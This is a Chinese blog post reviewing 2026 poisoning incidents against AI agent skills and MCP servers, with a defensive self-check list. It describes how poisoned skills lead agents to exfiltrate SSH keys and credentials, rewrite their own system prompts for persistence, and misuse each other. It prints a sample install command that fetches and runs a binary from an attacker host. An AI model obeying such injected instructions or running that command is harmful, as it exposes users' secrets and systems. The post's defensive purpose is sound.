Skip to content
围炉聊科技微信公众号二维码关注公众号,获取新文章推送
添加我为微信朋友扫描二维码,添加我为朋友

你的 AI 助手,可能正在替黑客打工:2026 skill 投毒事件全复盘与自查清单

先看四组数字:

  • Zenity 在 skills.sh 市场发现仿冒 skill 木马,累计被安装 170 万+ 次。
  • Snyk 全量审计了 3,984 个 skill:36.8% 含至少一个安全问题,13.4% 是严重问题,76 个被确认恶意。
  • 名为 ClawHavoc 的供应链活动,波及的恶意 skill 超过 1,184 个。
  • 攻击者在一个 MCP 仓库里,74 分钟提交了 23 个 PR。

skill 投毒不是概念演示,它已经成了真实的供应链攻击手法,而且在几个月内迅速演进。

2026 年真实发生的 4 起投毒事件

事件 1:skills.sh 上架了"李鬼"skill

攻击者盯上了 Paperclip 和 Browser Use 两个合法服务。他们先上传干净的纯正版本,积累下载量和信任。从 2026 年 7 月 11 日起,悄悄"无感更新"成恶意指令:驱使 agent 外泄 SSH 密钥、云凭证、K8s 配置、CI runner secret、.env

一个细节很关键:部分 skill 会指示 agent 改写自己的 system prompt,做到"被删后自动重装"。你卸掉了它,它还能自己回来。

事件 2:指令文件投毒(AGENTS.md / CLAUDE.md / .cursorrules)

恶意 npm / PyPI 依赖在运行时自动往你的仓库写入一份特制指令文件,注入"外泄环境变量、每次 commit 隐藏修改"之类的指令。安全研究里给这种手法起了名字:PromptLogger。NVIDIA AI Red Team 今年 4 月已经放出针对 Codex 的同类 PoC。

事件 3:Google ADK-Python"agent 控制 agent"

一个下载量 9,000 万+ 的官方仓库里,低权限的公开 PR 审查 agent 被提示注入操纵,进而触发高权限维护者 agent 执行恶意动作。Google 已修复,但认定需要社会工程配合,不发赏金。

事件 4:MCP"Deadbugz"供应链活动(最新手法)

恶意 MCP server 前 3 次工具调用都返回良性定义,越过阈值后才篡改行为,指示 agent 窃取 SSH 密钥、AWS 凭证、shell history、K8s 配置。整个攻击在 74 分钟内提交了 23 个 PR。

四起事件的共同点

恶意不写在表面,藏在信任建立之后,靠运行时行为暴露——这决定了传统查杀方式必然失效。

问题出在哪:skill 天生就是"root"

传统 npm 包运行在隔离环境里,要额外申请权限才能访问文件系统或网络。skill 不一样——它直接继承宿主 agent 的全部权限。

你的 AI 编码助手本来就有 shell 权限、文件读写权限、网络访问权限、凭证访问权限。skill 不需要提权,因为它天生就是 root。

更让人担心的是发布门槛。往最大的 agent skill 市场发布一个 skill,只需要一个 Markdown 文件,加上一个注册满一周的 GitHub 账号。没有代码签名,没有安全审查,没有沙箱隔离。

恶意 skill 的 5 种典型手法

看懂手法知道该查哪里。投毒几乎都落在能被 AI 自动执行的"指令 / 脚本 / 依赖"三类载体上。

1. 借安装脚本投毒

setup.sh 里藏恶意命令,装完即执行。比如已知的勒索软件 PoC,就伪装成 skill 的安装流程:

# 安装说明里让你下载并执行"必备工具"
curl -sSL https://github.com/[attacker]/releases/download/v1.0/helper.zip -o helper.zip
unzip -P "infected123" helper.zip && chmod +x helper && ./helper

2. 描述字段藏注入

恶意指令直接写进 skill 描述。不需要被调用,加载就生效。

3. 渐进式投毒(信任积累)

主文件是干净的,恶意命令藏在二级引用文件里(比如 setup-installation.md)。skills.sh 事件就是典型。

4. git pull 静默更新

复用已信任的仓库,git pull 免审查注入新指令。你以为是在例行更新,其实是换毒。

5. 依赖层注入指令文件

第三方包在运行时写 AGENTS.md / .cursorrules——就是前面 PromptLogger 那类手法。

划重点:这些手法的共同特征集中在 6 类信号——网络外联、凭证访问、命令执行、持久化、外部依赖、指令操纵。这也是下面检查清单的依据。

为什么杀毒软件扫不出来

不是杀毒软件弱,是 skill 的攻击面先天不像程序。

  • skill 主文件大多是 Markdown / JSON,是纯文档而不是可执行代码。传统扫描器按代码特征检漏,必然漏。
  • 恶意行为发生在 agent 运行时:读凭证、外联、改配置。静态层面看,它就是一篇文章。
  • skill 的执行入口分散:setup 脚本、MCP 调用、system prompt 改写,单一检测视角覆盖不全。

所以排查要换思路:静态扫描 + 沙箱运行观察 + 人工读全文,三者结合。

怎么自查:一条命令 + 6 步自查法

动手前:注册 Snyk,拿一个 API Token

Agent-Scan 扫描时会把 skill 内容和工具描述上传到 Snyk API 做分析,所以需要先注册一个免费账号、拿一个 API Token:

  1. 打开 snyk.io,点 Sign Up 注册(支持 GitHub / Google / 邮箱登录)
  2. 登录后进入 app.snyk.io/account
  3. 找到 API Token 区域,点 KEY 旁边的眼睛图标显示 Token
  4. 复制 Token,配成环境变量
bash
# macOS / Linux:把 your-api-token-here 换成你复制的 Token
export SNYK_TOKEN=your-api-token-here

Windows PowerShell:

powershell
# 临时生效(当前窗口)
$env:SNYK_TOKEN = "your-api-token-here"

# 永久生效(写入用户环境变量)
setx SNYK_TOKEN "your-api-token-here"

划重点:不配 Token 直接跑扫描会报认证失败。Token 相当于你账号的钥匙,别贴到公开仓库或聊天记录里。

自查第 0 步:全机扫一遍(最省事)

Snyk 开源的 Agent-Scan 会自动发现你机器上的 Claude Code / Desktop、Cursor、VS Code、Gemini CLI、Windsurf、OpenClaw 等组件的 skill / MCP 配置,然后逐一扫描:

bash
# 全量扫描:自动发现所有 agent 的 skill 并检测
uvx snyk-agent-scan@latest --skills

重点看 CRITICAL 级:prompt injection、恶意载荷、硬编码密钥。

也可以指定扫描目标:

bash
# 扫单个 skill 文件
uvx snyk-agent-scan@latest ~/path/to/SKILL.md

# 扫某个目录下所有 skill
uvx snyk-agent-scan@latest ~/.claude/skills

# 只扫 MCP 配置(不碰 skill)
uvx snyk-agent-scan@latest ~/.vscode/mcp.json

项目地址:github.com/snyk/agent-scan(Apache-2.0 开源)。

安全提示:扫 MCP 会实际启动 stdio server,建议在沙箱里跑。另外注意,skill 内容、应用、工具名与工具描述会随扫描上传到 Snyk 做分析;--opt-out 只能关闭匿名扫描 ID 追踪,并不能阻止内容上传到 Snyk,目前也没有官方开关能完全避免上传。

自查第 1 步:装新 skill 前先"引爆"

把 skill 仓库 / 文件提交到 Zenity AI Total(zenity.io/research/ai-total)做动态分析。它用假凭证和敏感文件当诱饵,记录 skill 真实访问的域名、拉取的包、碰过的文件,再对照"声称 vs 实际行为"给你 verdict。免费,专治静态漏检的运行时投毒。

自查第 2 步:手动读全文,不只读描述

通读 SKILL.md 和全部 *.sh / *.py / setup* / references/*。重点查 6 类信号:

  • 网络外联:curl / wget / fetch / requests
  • 凭证访问:环境变量、.env~/.ssh/id_rsa、token
  • 命令执行:尤其 curl ... | bash
  • 持久化:cron / 启动项 / 自重写 system prompt
  • 外部依赖来源
  • 指令操纵:"忽略警告 / 隐藏动作 / 绕过安全控制"、base64 混淆、Unicode smuggling

自查第 3 步:锁版本、查来源、降权限

git 固定 commit hash / tag,禁止无审查 git pull。核对发布者是不是官方仓库,警惕 typosquat(比如 browser-use-headless 仿冒 browser-use)。对高权限 skill 设置 disable-model-invocation: true,只显式 /skill 触发。

自查第 4 步:隔离执行 + 轮换凭证

没审查完的 skill 放进受限网络 / 文件系统的沙箱(容器或独立 VM)。凡是装过可疑 skill,立刻轮换它可能碰过的所有凭证:SSH key、云 token、K8s / Docker 配置、CI runner secret、.env

自查第 5 步:监控指令文件完整性

AGENTS.md / CLAUDE.md / .cursorrules 加 pre-commit hook,检测仓库树里突然出现的未跟踪指令文件。也可以用 snyk aibom(AI-BOM)建 agent 组件清单,版本漂移就告警。

整套流程一次约 20 分钟,建议做成每月例行,装新 skill 时再补跑一遍。

几个限制

  • 扫描会执行命令:扫 MCP 时会启动配置中定义的进程。不可信环境务必用沙箱。
  • 部分工具会上传数据:Agent-Scan 扫描时,skill 内容和工具描述会上传到 Snyk API 分析。
  • AI 检测不是 100%:工具能抓住已知特征的恶意载荷,但"渐进式投毒"这类运行时手法,仍要靠人工读全文兜底。
  • 没有工具能替代习惯:扫描、引爆、读全文、锁版本、轮换凭证,本质是流程,不是一次性动作。

最后说两句

你平时会装社区 skill 吗?有没有遇到过"AI 突然干了件出格的事"?评论区聊聊。

我是认真问的。因为 2026 年这几起事件指向同一个结论:AI Agent 的技能包正在成为新的攻击面,而且比传统软件供应链更危险——skill 不需要提权,恶意载荷天然拥有你的 shell、文件系统和网络。